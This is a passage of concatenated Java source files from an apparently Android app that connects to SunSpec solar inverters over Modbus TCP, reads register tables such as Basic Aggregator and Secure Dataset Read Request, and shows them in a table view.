ConnectHost extends AsyncTask<String, String, String> { private TcpModbusHandler sunspecTcpHandler; private SunSpecAdress sunSpecAdress; private TableLayout tableLayout; private Context context; private boolean isNaNprinted; public void init(TcpModbusHandler aSunspecTcpHandler, SunSpecAdress aSunSpecAdress, TableLayout aTableLayout, SunSpecActivity aSunSpecActivity, boolean aIsNaNprinted) { sunspecTcpHandler = aSunspecTcpHandler; sunSpecAdress = aSunSpecAdress; tableLayout = aTableLayout; context = aSunSpecActivity; isNaNprinted = aIsNaNprinted; } @Override protected void onPreExecute() { sunspecTcpHandler.close(); sunspecTcpHandler = new TcpModbusHandler(); } @Override protected String doInBackground(String... params) { boolean b = sunspecTcpHandler.connect(sunSpecAdress.getAdress(), sunSpecAdress.getPort(), sunSpecAdress.getStartingAdress()); System.out.println("connect " + sunSpecAdress.getIp() + " " + b); return null; } @Override protected void onPostExecute(String result) { GetSunSpecData getSunSpecData = new GetSunSpecData(); getSunSpecData.init(sunspecTcpHandler, tableLayout, context, isNaNprinted); getSunSpecData.execute(""); } } public class GetSunSpecData extends AsyncTask<String, String, String> { private TcpModbusHandler sunspecTcpHandler; private Context context; private TableLayout tableLayout; private boolean isPrintNaN; public void init(TcpModbusHandler aSunspecTcpHandler, TableLayout atableLayout, Context aContext,boolean aIsPrintNaN) { tableLayout = atableLayout; context = aContext; sunspecTcpHandler = aSunspecTcpHandler; isPrintNaN=aIsPrintNaN; } @Override protected void onPreExecute() { } @Override protected String doInBackground(String... params) { if (sunspecTcpHandler.getInetAddress() != null) { sunspecTcpHandler.sendAllTable(); try { while (!sunspecTcpHandler.dataReceived()) { Thread.sleep(10); } Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } } return null; } @Override protected void onPostExecute(String result) { if (sunspecTcpHandler.getInetAddress() != null) { tableLayout.removeAllViews(); for (Iterator<Table> iter = sunspecTcpHandler.getTables(); iter.hasNext(); ) { Table table = iter.next(); tableLayout.addView(getTableRowHeader()); for (Iterator<Read0X03> iterator = table.getMessages(); iterator.hasNext(); ) { Read0X03 read0X03 = iterator.next(); if ((!read0X03.isNaN() && !(read0X03 instanceof RegisterSunssf))||isPrintNaN) { tableLayout.addView(getTableRow(read0X03)); } } } } tableLayout.setBackgroundColor(Color.WHITE); } @NonNull private TableRow getTableRow(Read0X03 read0X03) { TableRow tableRow = new TableRow(context); TextView textViewName = new TextView(context); textViewName.setText(read0X03.getName()); tableRow.addView(textViewName); TextView textViewWert = new TextView(context); textViewWert.setText(read0X03.toString() + " " + ((Objects.equals(read0X03.getUnit(), "")) ? "" : (" [" + read0X03.getUnit() + "]"))); tableRow.addView(textViewWert); TextView textViewBeschreibung = new TextView(context); textViewBeschreibung.setText(read0X03.getDescription()); textViewBeschreibung.setSingleLine(false); tableRow.addView(textViewBeschreibung); return tableRow; } @NonNull private TableRow getTableRowHeader() { TableRow tableRowHeader = new TableRow(context); tableRowHeader.setBackgroundColor(Color.LTGRAY); TextView textViewNameH = new TextView(context); textViewNameH.setText(R.string.name); textViewNameH.setPadding(0, 4, 0, 3); tableRowHeader.addView(textViewNameH); TextView textViewWertH = new TextView(context); textViewWertH.setText(R.string.wert_einheit); tableRowHeader.addView(textViewWertH); TextView textViewBeschreibungH = new TextView(context); textViewBeschreibungH.setText(R.string.beschreibung); tableRowHeader.addView(textViewBeschreibungH); return tableRowHeader; } } }<file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.sunspec.read.table; import ch.retep.relleum.modbus.datatype.RegisterBitfield32; import ch.retep.relleum.modbus.datatype.RegisterEnum16; import ch.retep.relleum.modbus.datatype.RegisterEnum32; import ch.retep.relleum.modbus.datatype.RegisterUint16; import ch.retep.relleum.modbus.datatype.Table; import ch.retep.relleum.sunspec.TcpModbusHandler; import ch.retep.relleum.sunspec.datatype.RetepBitMask; import ch.retep.relleum.sunspec.datatype.RetepEnum; import ch.retep.relleum.sunspec.datatype.RetepLong; public class Table0002BasicAggregator extends Table { private ID basicAggregator00ID ; private L basicAggregator01L ; private AID basicAggregator02AID ; private N basicAggregator03N ; private UN basicAggregator04UN ; private St basicAggregator05St ; private StVnd basicAggregator06StVnd ; private Evt basicAggregator07Evt ; private EvtVnd basicAggregator09EvtVnd ; private Ctl basicAggregator11Ctl ; private CtlVnd basicAggregator12CtlVnd ; private CtlVl basicAggregator14CtlVl ; public Table0002BasicAggregator (TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getBasicAggregator_2(), 0, 16, "Basic Aggregator", "", "Basic Aggregator Modell ", Rw.R, Mandatory.M); basicAggregator00ID = new ID(tcpModbusHandler); basicAggregator01L = new L(tcpModbusHandler); basicAggregator02AID = new AID(tcpModbusHandler); basicAggregator03N = new N(tcpModbusHandler); basicAggregator04UN = new UN(tcpModbusHandler); basicAggregator05St = new St(tcpModbusHandler); basicAggregator06StVnd = new StVnd(tcpModbusHandler); basicAggregator07Evt = new Evt(tcpModbusHandler); basicAggregator09EvtVnd = new EvtVnd(tcpModbusHandler); basicAggregator11Ctl = new Ctl(tcpModbusHandler); basicAggregator12CtlVnd = new CtlVnd(tcpModbusHandler); basicAggregator14CtlVl = new CtlVl(tcpModbusHandler); vector.add(basicAggregator00ID); vector.add(basicAggregator01L); vector.add(basicAggregator02AID); vector.add(basicAggregator03N); vector.add(basicAggregator04UN); vector.add(basicAggregator05St); vector.add(basicAggregator06StVnd); vector.add(basicAggregator07Evt); vector.add(basicAggregator09EvtVnd); vector.add(basicAggregator11Ctl); vector.add(basicAggregator12CtlVnd); vector.add(basicAggregator14CtlVl); } public RetepEnum getID() { return basicAggregator00ID; } public RetepLong getL() { return basicAggregator01L; } public RetepLong getAID() { return basicAggregator02AID; } public RetepLong getN() { return basicAggregator03N; } public RetepLong getUN() { return basicAggregator04UN; } public RetepEnum getSt() { return basicAggregator05St; } public RetepEnum getStVnd() { return basicAggregator06StVnd; } public RetepBitMask getEvt() { return basicAggregator07Evt; } public RetepBitMask getEvtVnd() { return basicAggregator09EvtVnd; } public RetepEnum getCtl() { return basicAggregator11Ctl; } public RetepEnum getCtlVnd() { return basicAggregator12CtlVnd; } public RetepEnum getCtlVl() { return basicAggregator14CtlVl; } public class ID extends RegisterEnum16 { public ID(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getBasicAggregator_2(), 0, 1, "Model", "", "Aggregates a collection of models for a given model id", Rw.R, Mandatory.M); hashtable.put((long) 2, "SunSpec Basic Aggregator"); } } public class L extends RegisterUint16 { public L(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getBasicAggregator_2(), 1, 1, "Model Length", "", "Model Length", Rw.R, Mandatory.M); } } public class AID extends RegisterUint16 { public AID(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getBasicAggregator_2(), 2, 1, "AID", "", "Aggregated model id", Rw.R, Mandatory.M); } } public class N extends RegisterUint16 { public N(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getBasicAggregator_2(), 3, 1, "N", "", "Number of aggregated models", Rw.R, Mandatory.M); } } public class UN extends RegisterUint16 { public UN(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getBasicAggregator_2(), 4, 1, "UN", "", "Update Number. Incrementing nunber each time the mappping is changed. If the number is not changed from thelast reading the direct access to a specific offset will result in reading the same logical model as before. Otherwise the entire model must be read to refresh the changes", Rw.R, Mandatory.M); } } public class St extends RegisterEnum16 { public St(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getBasicAggregator_2(), 5, 1, "Status", "", "Enumerated status code", Rw.R, Mandatory.M); hashtable.put((long) 1, "OFF"); hashtable.put((long) 2, "ON"); hashtable.put((long) 3, "FULL"); hashtable.put((long) 4, "FAULT"); } } public class StVnd extends RegisterEnum16 { public StVnd(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getBasicAggregator_2(), 6, 1, "Vendor Status", "", "Vendor specific status code", Rw.R, Mandatory.O); } } public class Evt extends RegisterBitfield32 { public Evt(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getBasicAggregator_2(), 7, 2, "Event Code", "", "Bitmask event code", Rw.R, Mandatory.M); hashtable.put((long) 0, "GROUND_FAULT"); hashtable.put((long) 1, "INPUT_OVER_VOLTAGE"); hashtable.put((long) 11, "RESERVED"); hashtable.put((long) 3, "DC_DISCONNECT"); hashtable.put((long) 6, "MANUAL_SHUTDOWN"); hashtable.put((long) 7, "OVER_TEMPERATURE"); hashtable.put((long) 12, "BLOWN_FUSE"); hashtable.put((long) 13, "UNDER_TEMPERATURE"); hashtable.put((long) 14, "MEMORY_LOSS"); hashtable.put((long) 15, "ARC_DETECTION"); hashtable.put((long) 16, "THEFT_DETECTION"); hashtable.put((long) 17, "OUTPUT_OVER_CURRENT"); hashtable.put((long) 18, "OUTPUT_OVER_VOLTAGE"); hashtable.put((long) 19, "OUTPUT_UNDER_VOLTAGE"); hashtable.put((long) 20, "TEST_FAILED"); } } public class EvtVnd extends RegisterBitfield32 { public EvtVnd(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getBasicAggregator_2(), 9, 2, "Vendor Event Code", "", "Vendor specific event code", Rw.R, Mandatory.O); } } public class Ctl extends RegisterEnum16 { public Ctl(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getBasicAggregator_2(), 11, 1, "Control", "", "Control register for all aggregated devices", Rw.R, Mandatory.O); hashtable.put((long) 0, "NONE"); hashtable.put((long) 1, "AUTOMATIC"); hashtable.put((long) 2, "FORCE_OFF"); hashtable.put((long) 3, "TEST"); } } public class CtlVnd extends RegisterEnum32 { public CtlVnd(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getBasicAggregator_2(), 12, 2, "Vendor Control", "", "Vendor control register for all aggregated devices", Rw.R, Mandatory.O); } } public class CtlVl extends RegisterEnum32 { public CtlVl(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getBasicAggregator_2(), 14, 2, "Control Value", "", "Numerical value used as a parameter to the control", Rw.R, Mandatory.O); } } } <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.sunspec.read.table; import ch.retep.relleum.modbus.datatype.RegisterEnum16; import ch.retep.relleum.modbus.datatype.RegisterUint16; import ch.retep.relleum.modbus.datatype.RegisterUint32; import ch.retep.relleum.modbus.datatype.Table; import ch.retep.relleum.sunspec.TcpModbusHandler; import ch.retep.relleum.sunspec.datatype.RetepEnum; import ch.retep.relleum.sunspec.datatype.RetepLong; /** * @author Peter */ public class Table0003SecureDatasetReadRequest extends Table { private ID secureDatasetReadRequest00ID; private L secureDatasetReadRequest01L ; private X secureDatasetReadRequest02X ; private Off1 secureDatasetReadRequest03Off1 ; private Off2 secureDatasetReadRequest04Off2 ; private Off3 secureDatasetReadRequest05Off3 ; private Off4 secureDatasetReadRequest06Off4 ; private Off5 secureDatasetReadRequest07Off5 ; private Off6 secureDatasetReadRequest08Off6 ; private Off7 secureDatasetReadRequest09Off7 ; private Off8 secureDatasetReadRequest10Off8 ; private Off9 secureDatasetReadRequest11Off9 ; private Off10 secureDatasetReadRequest12Off10 ; private Off11 secureDatasetReadRequest13Off11 ; private Off12 secureDatasetReadRequest14Off12 ; private Off13 secureDatasetReadRequest15Off13; private Off14 secureDatasetReadRequest16Off14; private Off15 secureDatasetReadRequest17Off15 ; private Off16 secureDatasetReadRequest18Off16 ; private Off17 secureDatasetReadRequest19Off17 ; private Off18 secureDatasetReadRequest20Off18 ; private Off19 secureDatasetReadRequest21Off19 ; private Off20 secureDatasetReadRequest22Off20 ; private Off21 secureDatasetReadRequest23Off21 ; private Off22 secureDatasetReadRequest24Off22 ; private Off23 secureDatasetReadRequest25Off23 ; private Off24 secureDatasetReadRequest26Off24 ; private Off25 secureDatasetReadRequest27Off25 ; private Off26 secureDatasetReadRequest28Off26 ; private Off27 secureDatasetReadRequest29Off27 ; private Off28 secureDatasetReadRequest30Off28 ; private Off29 secureDatasetReadRequest31Off29 ; private Off30 secureDatasetReadRequest32Off30 ; private Off31 secureDatasetReadRequest33Off31 ; private Off32 secureDatasetReadRequest34Off32 ; private Off33 secureDatasetReadRequest35Off33 ; private Off34 secureDatasetReadRequest36Off34 ; private Off35 secureDatasetReadRequest37Off35 ; private Off36 secureDatasetReadRequest38Off36 ; private Off37 secureDatasetReadRequest39Off37 ; private Off38 secureDatasetReadRequest40Off38 ; private Off39 secureDatasetReadRequest41Off39 ; private Off40 secureDatasetReadRequest42Off40 ; private Off41 secureDatasetReadRequest43Off41 ; private Off42 secureDatasetReadRequest44Off42 ; private Off43 secureDatasetReadRequest45Off43 ; private Off44 secureDatasetReadRequest46Off44 ; private Off45 secureDatasetReadRequest47Off45 ; private Off46 secureDatasetReadRequest48Off46 ; private Off47 secureDatasetReadRequest49Off47 ; private Off48 secureDatasetReadRequest50Off48 ; private Off49 secureDatasetReadRequest51Off49 ; private Off50 secureDatasetReadRequest52Off50 ; private Ts secureDatasetReadRequest53Ts ; private Ms secureDatasetReadRequest55Ms ; private Seq secureDatasetReadRequest56Seq; private Role secureDatasetReadRequest57Role ; private Alg secureDatasetReadRequest58Alg ; private N secureDatasetReadRequest59N ; private DS[] dses ; private TcpModbusHandler tcpModbusHandler; public Table0003SecureDatasetReadRequest(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 0, 61, "Secure Dataset Read Request", "", "Secure Dataset Read Request Modell ", Rw.R, Mandatory.M); this.tcpModbusHandler= tcpModbusHandler; secureDatasetReadRequest00ID = new ID(tcpModbusHandler); secureDatasetReadRequest01L = new L(tcpModbusHandler); secureDatasetReadRequest02X = new X(tcpModbusHandler); secureDatasetReadRequest03Off1 = new Off1(tcpModbusHandler); secureDatasetReadRequest04Off2 = new Off2(tcpModbusHandler); secureDatasetReadRequest05Off3 = new Off3(tcpModbusHandler); secureDatasetReadRequest06Off4 = new Off4(tcpModbusHandler); secureDatasetReadRequest07Off5 = new Off5(tcpModbusHandler); secureDatasetReadRequest08Off6 = new Off6(tcpModbusHandler); secureDatasetReadRequest09Off7 = new Off7(tcpModbusHandler); secureDatasetReadRequest10Off8 = new Off8(tcpModbusHandler); secureDatasetReadRequest11Off9 = new Off9(tcpModbusHandler); secureDatasetReadRequest12Off10 = new Off10(tcpModbusHandler); secureDatasetReadRequest13Off11 = new Off11(tcpModbusHandler); secureDatasetReadRequest14Off12 = new Off12(tcpModbusHandler); secureDatasetReadRequest15Off13 = new Off13(tcpModbusHandler); secureDatasetReadRequest16Off14 = new Off14(tcpModbusHandler); secureDatasetReadRequest17Off15 = new Off15(tcpModbusHandler); secureDatasetReadRequest18Off16 = new Off16(tcpModbusHandler); secureDatasetReadRequest19Off17 = new Off17(tcpModbusHandler); secureDatasetReadRequest20Off18 = new Off18(tcpModbusHandler); secureDatasetReadRequest21Off19 = new Off19(tcpModbusHandler); secureDatasetReadRequest22Off20 = new Off20(tcpModbusHandler); secureDatasetReadRequest23Off21 = new Off21(tcpModbusHandler); secureDatasetReadRequest24Off22 = new Off22(tcpModbusHandler); secureDatasetReadRequest25Off23 = new Off23(tcpModbusHandler); secureDatasetReadRequest26Off24 = new Off24(tcpModbusHandler); secureDatasetReadRequest27Off25 = new Off25(tcpModbusHandler); secureDatasetReadRequest28Off26 = new Off26(tcpModbusHandler); secureDatasetReadRequest29Off27 = new Off27(tcpModbusHandler); secureDatasetReadRequest30Off28 = new Off28(tcpModbusHandler); secureDatasetReadRequest31Off29 = new Off29(tcpModbusHandler); secureDatasetReadRequest32Off30 = new Off30(tcpModbusHandler); secureDatasetReadRequest33Off31 = new Off31(tcpModbusHandler); secureDatasetReadRequest34Off32 = new Off32(tcpModbusHandler); secureDatasetReadRequest35Off33 = new Off33(tcpModbusHandler); secureDatasetReadRequest36Off34 = new Off34(tcpModbusHandler); secureDatasetReadRequest37Off35 = new Off35(tcpModbusHandler); secureDatasetReadRequest38Off36 = new Off36(tcpModbusHandler); secureDatasetReadRequest39Off37 = new Off37(tcpModbusHandler); secureDatasetReadRequest40Off38 = new Off38(tcpModbusHandler); secureDatasetReadRequest41Off39 = new Off39(tcpModbusHandler); secureDatasetReadRequest42Off40 = new Off40(tcpModbusHandler); secureDatasetReadRequest43Off41 = new Off41(tcpModbusHandler); secureDatasetReadRequest44Off42 = new Off42(tcpModbusHandler); secureDatasetReadRequest45Off43 = new Off43(tcpModbusHandler); secureDatasetReadRequest46Off44 = new Off44(tcpModbusHandler); secureDatasetReadRequest47Off45 = new Off45(tcpModbusHandler); secureDatasetReadRequest48Off46 = new Off46(tcpModbusHandler); secureDatasetReadRequest49Off47 = new Off47(tcpModbusHandler); secureDatasetReadRequest50Off48 = new Off48(tcpModbusHandler); secureDatasetReadRequest51Off49 = new Off49(tcpModbusHandler); secureDatasetReadRequest52Off50 = new Off50(tcpModbusHandler); secureDatasetReadRequest53Ts = new Ts(tcpModbusHandler); secureDatasetReadRequest55Ms = new Ms(tcpModbusHandler); secureDatasetReadRequest56Seq = new Seq(tcpModbusHandler); secureDatasetReadRequest57Role = new Role(tcpModbusHandler); secureDatasetReadRequest58Alg = new Alg(tcpModbusHandler); secureDatasetReadRequest59N = new N(tcpModbusHandler); vector.add(secureDatasetReadRequest00ID); vector.add(secureDatasetReadRequest01L); vector.add(secureDatasetReadRequest02X); vector.add(secureDatasetReadRequest03Off1); vector.add(secureDatasetReadRequest04Off2); vector.add(secureDatasetReadRequest05Off3); vector.add(secureDatasetReadRequest06Off4); vector.add(secureDatasetReadRequest07Off5); vector.add(secureDatasetReadRequest08Off6); vector.add(secureDatasetReadRequest09Off7); vector.add(secureDatasetReadRequest10Off8); vector.add(secureDatasetReadRequest11Off9); vector.add(secureDatasetReadRequest12Off10); vector.add(secureDatasetReadRequest13Off11); vector.add(secureDatasetReadRequest14Off12); vector.add(secureDatasetReadRequest15Off13); vector.add(secureDatasetReadRequest16Off14); vector.add(secureDatasetReadRequest17Off15); vector.add(secureDatasetReadRequest18Off16); vector.add(secureDatasetReadRequest19Off17); vector.add(secureDatasetReadRequest20Off18); vector.add(secureDatasetReadRequest21Off19); vector.add(secureDatasetReadRequest22Off20); vector.add(secureDatasetReadRequest23Off21); vector.add(secureDatasetReadRequest24Off22); vector.add(secureDatasetReadRequest25Off23); vector.add(secureDatasetReadRequest26Off24); vector.add(secureDatasetReadRequest27Off25); vector.add(secureDatasetReadRequest28Off26); vector.add(secureDatasetReadRequest29Off27); vector.add(secureDatasetReadRequest30Off28); vector.add(secureDatasetReadRequest31Off29); vector.add(secureDatasetReadRequest32Off30); vector.add(secureDatasetReadRequest33Off31); vector.add(secureDatasetReadRequest34Off32); vector.add(secureDatasetReadRequest35Off33); vector.add(secureDatasetReadRequest36Off34); vector.add(secureDatasetReadRequest37Off35); vector.add(secureDatasetReadRequest38Off36); vector.add(secureDatasetReadRequest39Off37); vector.add(secureDatasetReadRequest40Off38); vector.add(secureDatasetReadRequest41Off39); vector.add(secureDatasetReadRequest42Off40); vector.add(secureDatasetReadRequest43Off41); vector.add(secureDatasetReadRequest44Off42); vector.add(secureDatasetReadRequest45Off43); vector.add(secureDatasetReadRequest46Off44); vector.add(secureDatasetReadRequest47Off45); vector.add(secureDatasetReadRequest48Off46); vector.add(secureDatasetReadRequest49Off47); vector.add(secureDatasetReadRequest50Off48); vector.add(secureDatasetReadRequest51Off49); vector.add(secureDatasetReadRequest52Off50); vector.add(secureDatasetReadRequest53Ts); vector.add(secureDatasetReadRequest55Ms); vector.add(secureDatasetReadRequest56Seq); vector.add(secureDatasetReadRequest57Role); vector.add(secureDatasetReadRequest58Alg); vector.add(secureDatasetReadRequest59N); } @Override public void setResponseInit(byte[] bArry) { super.setResponseInit(bArry); int size = (((int) getL().toLong() - 58)); dses= new DS[size]; for (int i = 0; i < size; i++) { dses[i]=new DS(i,tcpModbusHandler); dses[i].setResponse2(this.getBB()); vector.add(dses[i]); } } public RetepEnum getID() { return secureDatasetReadRequest00ID; } public RetepLong getL() { return secureDatasetReadRequest01L; } public RetepLong getX() { return secureDatasetReadRequest02X; } public RetepLong getOff1() { return secureDatasetReadRequest03Off1; } public RetepLong getOff2() { return secureDatasetReadRequest04Off2; } public RetepLong getOff3() { return secureDatasetReadRequest05Off3; } public RetepLong getOff4() { return secureDatasetReadRequest06Off4; } public RetepLong getOff5() { return secureDatasetReadRequest07Off5; } public RetepLong getOff6() { return secureDatasetReadRequest08Off6; } public RetepLong getOff7() { return secureDatasetReadRequest09Off7; } public RetepLong getOff8() { return secureDatasetReadRequest10Off8; } public RetepLong getOff9() { return secureDatasetReadRequest11Off9; } public RetepLong getOff10() { return secureDatasetReadRequest12Off10; } public RetepLong getOff11() { return secureDatasetReadRequest13Off11; } public RetepLong getOff12() { return secureDatasetReadRequest14Off12; } public RetepLong getOff13() { return secureDatasetReadRequest15Off13; } public RetepLong getOff14() { return secureDatasetReadRequest16Off14; } public RetepLong getOff15() { return secureDatasetReadRequest17Off15; } public RetepLong getOff16() { return secureDatasetReadRequest18Off16; } public RetepLong getOff17() { return secureDatasetReadRequest19Off17; } public RetepLong getOff18() { return secureDatasetReadRequest20Off18; } public RetepLong getOff19() { return secureDatasetReadRequest21Off19; } public RetepLong getOff20() { return secureDatasetReadRequest22Off20; } public RetepLong getOff21() { return secureDatasetReadRequest23Off21; } public RetepLong getOff22() { return secureDatasetReadRequest24Off22; } public RetepLong getOff23() { return secureDatasetReadRequest25Off23; } public RetepLong getOff24() { return secureDatasetReadRequest26Off24; } public RetepLong getOff25() { return secureDatasetReadRequest27Off25; } public RetepLong getOff26() { return secureDatasetReadRequest28Off26; } public RetepLong getOff27() { return secureDatasetReadRequest29Off27; } public RetepLong getOff28() { return secureDatasetReadRequest30Off28; } public RetepLong getOff29() { return secureDatasetReadRequest31Off29; } public RetepLong getOff30() { return secureDatasetReadRequest32Off30; } public RetepLong getOff31() { return secureDatasetReadRequest33Off31; } public RetepLong getOff32() { return secureDatasetReadRequest34Off32; } public RetepLong getOff33() { return secureDatasetReadRequest35Off33; } public RetepLong getOff34() { return secureDatasetReadRequest36Off34; } public RetepLong getOff35() { return secureDatasetReadRequest37Off35; } public RetepLong getOff36() { return secureDatasetReadRequest38Off36; } public RetepLong getOff37() { return secureDatasetReadRequest39Off37; } public RetepLong getOff38() { return secureDatasetReadRequest40Off38; } public RetepLong getOff39() { return secureDatasetReadRequest41Off39; } public RetepLong getOff40() { return secureDatasetReadRequest42Off40; } public RetepLong getOff41() { return secureDatasetReadRequest43Off41; } public RetepLong getOff42() { return secureDatasetReadRequest44Off42; } public RetepLong getOff43() { return secureDatasetReadRequest45Off43; } public RetepLong getOff44() { return secureDatasetReadRequest46Off44; } public RetepLong getOff45() { return secureDatasetReadRequest47Off45; } public RetepLong getOff46() { return secureDatasetReadRequest48Off46; } public RetepLong getOff47() { return secureDatasetReadRequest49Off47; } public RetepLong getOff48() { return secureDatasetReadRequest50Off48; } public RetepLong getOff49() { return secureDatasetReadRequest51Off49; } public RetepLong getOff50() { return secureDatasetReadRequest52Off50; } public RetepLong getTs() { return secureDatasetReadRequest53Ts; } public RetepLong getMs() { return secureDatasetReadRequest55Ms; } public RetepLong getSeq() { return secureDatasetReadRequest56Seq; } public RetepLong getRole() { return secureDatasetReadRequest57Role; } public RetepEnum getAlg() { return secureDatasetReadRequest58Alg; } public RetepLong getN() { return secureDatasetReadRequest59N; } public RetepLong getDS(int index ) { return dses[index]; } public class ID extends RegisterEnum16 { public ID (TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 0, 1, "Model", "", "Request a digial signature over a specifed set of data registers", Rw.R, Mandatory.M); hashtable.put((long) 3, "SunSpec Secure Dataset Read Reques"); } } public class L extends RegisterUint16 { public L(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 1, 1, "Model Length", "", "Model Length", Rw.R, Mandatory.M); } } public class X extends RegisterUint16 { public X(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 2, 1, "X", "", "Number of registers being requested", Rw.RW, Mandatory.M); } } public class Off1 extends RegisterUint16 { public Off1(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 3, 1, "Offset1", "", "Offset of value to read", Rw.RW, Mandatory.M); } } public class Off2 extends RegisterUint16 { public Off2(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 4, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off3 extends RegisterUint16 { public Off3(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 5, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off4 extends RegisterUint16 { public Off4(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 6, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off5 extends RegisterUint16 { public Off5(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 7, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off6 extends RegisterUint16 { public Off6(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 8, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off7 extends RegisterUint16 { public Off7(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 9, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off8 extends RegisterUint16 { public Off8(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 10, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off9 extends RegisterUint16 { public Off9(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 11, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off10 extends RegisterUint16 { public Off10(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 12, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off11 extends RegisterUint16 { public Off11(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 13, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off12 extends RegisterUint16 { public Off12(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 14, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off13 extends RegisterUint16 { public Off13(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 15, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off14 extends RegisterUint16 { public Off14(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 16, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off15 extends RegisterUint16 { public Off15(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 17, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off16 extends RegisterUint16 { public Off16(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 18, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off17 extends RegisterUint16 { public Off17(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 19, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off18 extends RegisterUint16 { public Off18(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 20, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off19 extends RegisterUint16 { public Off19(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 21, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off20 extends RegisterUint16 { public Off20(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 22, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off21 extends RegisterUint16 { public Off21(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureDatasetReadRequest_3(), 23, 1, "", "", "", Rw.RW, Mandatory.M); } } public class Off22 extends RegisterUint16 { public Off22(TcpModbusHandler tcpModbusHandler) { 